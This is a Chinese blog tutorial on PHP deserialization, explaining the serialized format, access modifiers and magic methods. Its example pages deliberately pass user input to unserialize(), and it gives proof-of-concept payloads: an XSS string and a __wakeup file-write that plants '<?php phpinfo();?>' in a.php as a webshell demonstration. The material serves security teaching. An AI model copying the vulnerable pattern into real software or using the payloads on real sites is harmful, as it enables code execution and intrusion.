01.PHP反序列化基础
本文最后更新于456 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、序列化/反序列化技术

序列化:将对象转为字节流,目的是方便对象在内存、文件、数据库或者网络之间的传递
反序列化:序列化的逆过程,即将字节流转为对象的过程。

序列化就像把桌子拆除许多零件,反序列化就是将零件组装起来

二、反序列化漏洞

原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。

反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

三、PHP反序列化

PHP反序列化漏洞:也叫PHP对象注入,程序在执行unserialize()函数时,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户所控制,这就会产生安全问题。

漏洞利用条件:

  1. unserialize()函数的参数可控。
  2. 存在可利用的魔术方法。

四、面向对象

封装:
将一个类进行封装,类中有属性,以及行为(成员函数)

继承:
子类会继承父类的属性以及行为

实例化:
类实例化就成为了一个对象,就是类生成了一个具体的实例

五、序列化

<?php
//定义类
class Girl{
//声明属性
  public $name;
  public $age;
//声明方法
//__construct()对象创建(new)时会自动调用
public function __construct($name, $age){
  $this->name = $name;
  $this->age = $age;
}
public function hello(){
  echo "Hello, my boy! \n";
  echo "My name is $this->name, my age is $this->age !";
  }
}
//类实例化成为对象
$ryan = new Girl('小美','18');
$str = serialize($ryan);
echo $str;
?>

输出内容:

O:4:"Girl":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}

格式为:类型:长度:内容,如:O:4:"Girl"
常见的表示类型的字符:

O:类
a:数组(array)
b:布尔(boolean)
i整型
S:字符串
N:Null
d:double,浮点型

六、反序列化

O:4:"Girl":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}
<?php
//定义类
class Girl{
//声明属性
	public $name;
	public $age;
//声明方法
//__construct()对象创建(new)时会自动调用
public function __construct($name, $age){
	$this->name = $name;
	$this->age = $age;
}
public function hello(){
	echo "Hello, my boy! \n";
	echo "My name is $this->name, my age is $this->age !";
	}
}
//类实例化成为对象
//$ryan = new Girl('小美','18');
$str = 'O:4:"Girl":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}';
$obj = unserialize($str);
$obj->hello();
?>

七、案例

<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
error_reporting(0);
class Girl{
    public $name = '小红';
    public $age = 18;
    public function __construct($name,$age){
        $this->name = $name;
        $this->age = $age;
        }
    public function hello(){
    echo "Hello,my boy!\n";
    echo "My name is $this->name, my age is $this->age !";
    }
}
if(isset($_GET['str' ])){
$str = $_GET['str'];
$object = unserialize($str);
$object->hello();
}
?>

利用:xss

O:4:"Girl":2:{s:4:"name";s:29:"<script>alert('xss')</script>";s:3:"age";s:2:"18";}

Pasted image 20250323151602.png

八、访问控制符 public\protected\private

<?php
class Girl{
	public $name = '小红';
	protected $age = 18;
	private $money = 100.5;
public function __construct($name, $age,$money){
	$this->name = $name;
	$this->age = $age;
	$this->money = $money;
}
public function hello(){
	echo "Hello, my boy! \n";
	echo "My name is $this->name, my age is $this->age !";
	echo "I have $this->money RMB !";
	}
}
$ryan = new Girl("ryan",20,108.5);
echo serialize($ryan);
?>

序列化后:

O:4:"Girl":3:{s:4:"name";s:4:"ryan";s:6:"*age";i:20;s:11:"Girlmoney";d:108.5;}

对象字段名的序列化规则:

  • var和public:var和public声明的字段都是公共字段,因此们的字段名的序列化格式是相同的,序列化后的字段名中不包括声明时的变量前缀符号

  • protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。在序列化时,字段名前面会加上\0*\0(\0为不可见字符)的前缀,因此该字段的长度会比可见字符长度大3。

  • private:声明的字段为私有字段,只有在所声明的类中可见。名在序列化时,字段名前面会加上\0<声明该私有字段的类的类名>\0前缀

九、访问控制符的反序列化

<?php
class Girl{
    public $name = '小红';
    protected $age = 18;
    private $money = 100.5;
public function __construct($name, $age,$money){
    $this->name = $name;
    $this->age = $age;
    $this->money = $money;
}
public function hello(){
    echo "Hello, my boy! \n";
    echo "My name is $this->name, my age is $this->age !";
    echo "I have $this->money RMB !";
    }
}
$str = 'O:4:"Girl":3:{s:4:"name";s:4:"ryan";S:6:"\00*\00age";i:20;S:11:"\00Girl\00money";d:108.5;}';
$o = unserialize($str);
$o->hello();
?>
O:4:"Girl":3:{s:4:"name";s:4:"ryan";S:6:"\00*\00age";i:20;S:11:"\00Girl\00money";d:108.5;}

注意: 要将小写的s改为大写的S,\00替代空字符
Pasted image 20250323155250.png

十、魔术方法

魔术方法是一种特殊的方法,在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的,常见的魔术方法有:

__construct()    对象创建(new)时会自动调用
__destruct()     对象被销毁时触发
__tostring()     把对象当作字符串使用时触发
__wakeup()       使用unserialize时触发
__sleep()        使用serialize时触发
__call()         在对象上下文中调用不可访问的方法时触发
__callStatic()   在静态上下文中调用不可访问的方法时触发
__get($key)      用于从不可访问的属性读取数据,$key就是不存在的属性
__set()          用于将数据写入不可访问的属性
__isset()        在不可访问的属性上调用isset()或empty()触发
__unset()        在不可访问的属性上使用unset()时触发
__clone()        当克隆对象是调用
__invoke()       当脚本尝试将对象调用为函数时触发
__autoload()     在代码中当调用不存在的类时会自动调用该方法

案例1.:

<?php
header(header:"content-type:text/html;charset=utf-8") ;
class Girl{
	public $name = "小花";
	public function __construct($name){
		$this->name = $name;
		echo "__construct: 创建对象时,create object:$this->name \n";
	}
	public function __destruct(){
		echo "__destruct:对象销毁时,$this->name is died !\n";
	}
	public function __call($name, $arguments){
		echo"__caLL:调用不存在的方法时\n";
	}
	public function __toString(){
		return "__toString:把对象当做字符串输出时 \n";
	}
	public function __clone(){
		echo "__clone:克隆对象时 \n";
	}
	public function __get($name){
		echo "__get:读取一个不存在的属性时 \n";
	}
	public function _set($name,$value){
		echo "__set:设置不存在的属性 \n";
	}
	public function __isset($name){
		echo "__isset:对不可访问属性调用isset() \n";
	}
	public function _unset($name){
		echo "__unset:在不可访问的属性上使用unset()\n";
	}
	public function hello(){
		echo "My name is $this->name !\n";
	}
}
$ryan = new Girl("Ryan");
$ryan->hello();
$ryan->a();
$ryan->b;
$r2 = clone $ryan;
echo $ryan;
$r2->name = "zs";
$r2->abc ="zs";
isset($r2->abc);
unset($r2->a);
?>

Pasted image 20250323182044.png

案例2.:

<?php
header("content-type:text/html;charset=utf-8");
class Girl{
	public $name = "小花";
	public function __construct($name){
		$this->name = $name;
		echo "__construct: 创建对象时, create object:$this->name \n";
	}
	public function __sleep(){
		echo "__sleep:序列化时调用\n";
		return array('name');
	}
	public function __wakeup(){
		echo "__wakeup:反序列化时调用\n";
	}
}
$ryan = new Girl("Ryan");
$r = serialize($ryan);
echo $r;
$str ='O:4:"Girl":1:{s:4:"name";s:4:"Ryan";}';
echo "\n";
unserialize($str);
?>

Pasted image 20250323183525.png

案例3.:

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
class Girl{
	public $name = "小明";
	public $file = "a.txt";
	function __wakeup(){
			$file = fopen($this->file,'w');
			fwrite($file, $this->name);
			fclose($file);
	}
}
echo "<h1>反序列化漏洞案例</h1>";
if(isset($_GET["str"])){
	$str = $_GET['str'];
	$o = unserialize($str);
	echo "name:".$o->name;
}
?>

poc写入webshell:

O:4:"Girl":2:{s:4:"name";s:18:"<?php phpinfo();?>";s:4:"file";s:5:"a.php";}

执行poc:
Pasted image 20250323175004.png

访问a.php文件:

Pasted image 20250323175056.png

成功写入

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇